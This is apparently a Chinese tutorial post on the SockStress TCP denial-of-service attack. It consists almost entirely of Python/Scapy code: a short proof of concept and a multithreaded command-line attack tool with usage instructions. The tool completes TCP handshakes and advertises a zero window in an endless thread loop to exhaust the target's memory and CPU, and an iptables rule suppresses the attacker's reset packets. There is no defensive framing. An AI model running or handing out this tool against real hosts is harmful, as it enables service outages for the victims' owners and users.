Python TCP全连接攻击中SockStress全连接攻击详解

#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
def sockstress(target,dstport):
	xport = random.randint(0,65535)
	response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
	send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
sockstress("192.168.1.20",80)

#coding=utf-8
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
    semaphore.acquire()       # 加锁
    isport = random.randint(0,65535)
    response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
    send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 释放锁
def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
    Banner()
    parser = OptionParser()
    parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
    parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
    parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
    parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
    (options,args) = parser.parse_args()
    # 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
    if options.types == "sockstress" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=sockstress,args=(options.host,options.port))
            t.start()
    else:
        parser.print_help()